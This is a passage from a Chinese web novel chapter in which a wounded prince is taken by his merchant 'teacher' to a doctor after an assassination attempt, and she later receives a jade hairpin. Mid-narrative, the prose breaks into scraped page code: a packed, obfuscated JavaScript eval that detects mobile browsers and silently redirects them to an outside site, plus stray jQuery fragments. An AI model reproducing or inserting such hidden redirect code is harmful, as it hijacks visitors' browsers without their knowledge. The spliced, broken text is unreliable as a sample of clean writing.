“终于不装了?”宋云熹戏谑地看着他。
凌翌珩耸耸肩,抬手取下面具,露出沾染了些血污的脸,“师父都认出来了,我还有什么好装的?”
用手搓了把脸,反而把脸上的血污抹开,露出的苍白侧脸显得那些污渍更加扎眼。
他像终于撑不住似的背靠墙坐下,单腿曲起,手臂搭在曲起的膝盖上。
宋云熹看他微垂着头不说话,取出一块手帕往前走了几步,突然嗅到一股浓重的血腥味儿。
“你受伤了?”宋云熹一脸犹疑地看着他,其实这里一直都有若有若无的血腥味儿,她也没在意,只以为是其他人受伤散发出来的,现在离得近了才发现他身上传来很浓重的血腥味。
“旧伤罢了,都是些小伤,不碍事。”凌翌珩愣了一下,下意识伸手摸了下腹部右侧的地方,果然摸到了一手黏腻。
啧,凌翌珩眉头一皱,刚才打的那么激烈,伤口果然裂开了,回去肯定又是一顿鸡飞狗跳。
一想到容易大惊小怪的下属,凌翌珩头疼地按了按太阳穴,恨不得把那个泄露自己行踪的人大卸八块。
“我带你去找大夫看一下吧。”宋云熹虽然看不太清,但是凭气味判断也知道,他的伤也不可能是什么小伤。
这可是她的王牌,要是出了什么事儿她以后可怎么办。
“不……”凌翌珩刚想拒绝,又突然想到,如果可以找个大夫重新包扎一下,说不定可以神不知鬼不觉地蒙混过关,于是话峰一转,同意了:“那就有劳师父了。”
宋云熹站在原地,有些疑惑地想,他什么时候这么客气了?
“那我们走吧。”宋云熹伸手把他从地上扶起来,随后手放在他的手臂处,一路搀扶着他。
“不……”凌翌珩想挣脱,告诉她自己还没有严重到需要人家搀扶的地步,他也不习惯别人碰他。
但一低头,就看到她圆润小巧的耳朵,往下是顺着衣领处露出的白皙脖颈,喉结滚了滚,嘴巴张张合合几次,嗓子好像被黏住了一样,发不出一点儿声音。
“什么?”宋云熹没听清他说的什么,抬头眼里满是疑问。
他清了清嗓子,控制着力度往她身上靠,露出抹虚弱的笑,“不用这么小心,握紧点,我现在有点没力气。”
闻言,宋云熹收紧了握着他手臂的五指。
宋云熹搀扶着凌翌珩走出巷子,迎面看到十几个身着黑衣的人赶来,身后跟着一群身着官服的人,为首的人浓眉大眼,嘴唇略厚,模样倒是极为周正,只是看起来年纪略小。
虽然她让人报官时描述情况的时候是夸张了一点,但也没必要来这么多人吧?
“这么多人?”凌翌珩显然也愣住了。
宋云熹有些尴尬地应了一声。
十几位黑衣男子步履匆匆地走到二人面前,为首的人尽管脸上遍布焦急之色,但还是低下头向着凌翌珩行了一礼,“殿……”
话还未出口就被凌翌珩打断,“我没事,不必紧张。”
“这是你的人?”宋云熹戳戳凌翌珩。
“嗯。”凌翌珩刚才一直微微靠着宋云熹,现在身子站直,稍稍侧身挡住了属下探究的视线。
“我先去跟他们交代一下。”宋云熹看他们好像有话要说,识趣的往官兵方向走去。
“殿下,属下护卫不周,请殿下责罚。”玄金深深低下头,语气里都是自责。
“不妨事。”凌翌珩摆摆手,冷静下达命令。
“你留下,玄水回去转告玄木我的伤势不碍事,其他人去查那些刺客的身份,我还有事,晚点回去。”
“殿下!”站在玄金旁边的人出声,“您才刚遇刺,刺客身份不明,怎么能只让玄金一个人留在你身边!”
“是啊,殿下。”
“殿下三思!”
其他人纷纷出声,玄金也满脸不认同。
“人越多,我们的目标就越明显,按我说的做,把人查出来。”凌翌珩面色苍白,但语气不容置喙,处于上位者的气势爆发,让人生不出一丝反抗心理。
“是。”众人纷纷低头行礼离去,只有玄金留下。
宋云熹眼角余光瞥到其他人都走了,刚好自己这里交代的差不多,又交代了几句就回到凌翌珩身边。
“你怎么不和他们一起回去?”
“我的人里没有懂医术的,师父不是要带我去看伤吗?”凌翌珩笑着说。
宋云熹视线上下扫视他,双手抱臂,似笑非笑。
她才不信他的鬼话,堂堂皇子身边怎么可能没有自己用的医师?
但她也懒得拆穿他,往刚才打探出的最近的医馆方向抬了抬下巴,“走吧。”
玄金见状上前两步想扶一下自家主子,凌翌珩不动声色地避开他伸出的手,朝宋云熹张开了双臂,语气委屈,“师父,我没力气,走不动了。”
宋云熹:“……”
这人到底能不能有点身为皇子的包袱啊?
不知道的人还以为他在求抱抱。
她叹口气,无奈地上前拉过他的手臂搭在自己肩上,一只手环在他腰上将他撑住。
凌翌珩稍稍将身体的重量压到她身上,靠的近了,他身上独特的香味混杂着血腥味儿扑面而来,将宋云熹整个包围住。
凌翌珩心安理得地靠在宋云熹身上让她扶着走。
玄金放下被自家主子嫌弃的手,默默跟在二人身后。
来到医馆,大夫看到两人浑身是血的模样吓了一大跳,带着两人来到诊室,里面有两张床,中间还用一块布格挡开了。
大夫引着宋云熹将凌翌珩放在其中一张床上,随后看向她,“姑娘,你的伤……”
“我没受伤,受伤的是他,您帮他看就好了。”宋云熹指指凌翌珩,露出一个礼貌的笑容,走到一旁坐下。
大夫点点头,让凌翌珩解开衣服,准备给他处理伤口。
宋云熹坐在一旁光明正大的偷看。
凌翌珩解开衣服露出里面缠好的纱布,白色的纱布此时已经已经被染成了鲜红色,他面不改色地继续把纱布解下来,露出里面血肉模糊的伤口。
看到伤口的瞬间,宋云熹面上云淡风轻,实际上忍不住微微倒吸了口凉气。
这是一道横贯整个左肩的砍伤,本来已经开始愈合的伤口因为刚才的打斗又全部撕裂开来,源源不断地流出鲜血。
感受到宋云熹的注视,凌翌珩莫名有点脸红,有些后悔没有让她出去。
宋云熹不知道他在想什么,只是静静看着他的伤口,沉默不语。
因为凌翌珩穿的衣服是深色的,所以她一直以为他的伤不算太严重,却没想到竟然是这样的,凌翌珩露出来的半边脸呈现着失血过多导致的苍白。
“大夫,他的伤怎么样?”宋云熹忍不住开口问。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819649|190990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“伤口太深,失血过多,我现在只能尽量先用草药把血止住。”说着将一坨黑漆漆的草药敷在了凌翌珩的伤口上。
宋云熹看到那坨黑漆漆的东西的时候下意识的想伸手阻止,幸好理智及时回归。
她别开眼不再看大夫动作,盯着屋内的一盆小兰花发呆。
这老中医的药怎么奇奇怪怪的,到底有没有用啊,看这伤口的深度,得缝针才能止血吧。
但是这个时代的人哪里有这种技术。
太子殿下这金枝玉叶细皮嫩肉的,万一在这儿没整好留下些什么后遗症,不会找我秋后算账吧?
胡思乱想了一阵,还是老中医出声将她唤回了神。
“好了,这几日伤口不要碰水,我再给你开几副利于伤口恢复的药煎着吃。”老中医上好药将伤口包扎好,收拾东西起身道。
凌翌珩将半褪下的衣服拉起,微微点头,“多谢。”
宋云熹起身,在等老中医抓药的间隙和他闲聊。
“知道刺客的身份吗?”
“有些想法。”
宋云熹调侃,“想不到你还是个香饽饽。”
“师父就别打趣我了。”凌翌珩苦笑,将衣带系好。
玄金接过医师抓好的药,站在门口等待,凌翌珩看着宋云熹:“师父接下来有事吗?”
抬头看了眼天色还早,她寻思着正好去拜访一下厨师,点点头,“我去拜访一位故人,你先回去吧。”
“那我跟师父一起。”凌翌珩马上接话。
宋云熹不赞成地拧眉,“你受伤了还想去哪?”
凌翌珩委屈,“师父明明答应了教我做生意的,我学费都交了您却不带我,还整日神龙见首不见尾。”
这么一想,好像是有点对不起他花的钱,但是……
“你那些钱不是拿来赌石的吗,我也给你开出了远超成本的翡翠原石,这还不够?”
他张了张嘴,又不说话了,把手伸进衣襟内掏出一个东西。
“给你的。”
宋云熹伸手接过,眼睛微微睁大,神色讶然。
这是一根造型简单的发簪。
重点不是造型,而是打造这根簪子的原材料。
如果她没看错的话,这是那天唯一开出的一小块帝王绿打造出来的。
“这?”
“说好的七三分,这是你那份。”凌翌珩闷闷地说。
不知为什么,她直觉凌翌珩的心情不太好。
宋云熹:“……”
管他的,她又不是他爹妈,管天管地还管他心情好不好吗,白嫖的东西不要白不要。
她把东西收好,想起了刚冒出没多久的想法,想了想还是说道,“过几日等你的伤好了,就来茶楼找我吧,有事交代给你做。”
凌翌珩肉眼可见的高兴起来,保证过几天就来,然后带着玄金离开了。
看着他的背影消失,宋云熹先回了茶楼一趟,找李掌柜要到了茶楼以前的菜单。
打开一看,果不其然,上面只有寻常的一些吃食,并没有像她在酒楼看到的那种以茶叶为香料而做的食物。
不过这也正常,他们这毕竟只是茶楼。
她合上菜单,下楼向李掌柜打探了茶楼前厨师周正家的住址。
站在周正家门前,听着里面传来的喧闹夹杂着打骂声,她突然觉得自己来的好像不是时候。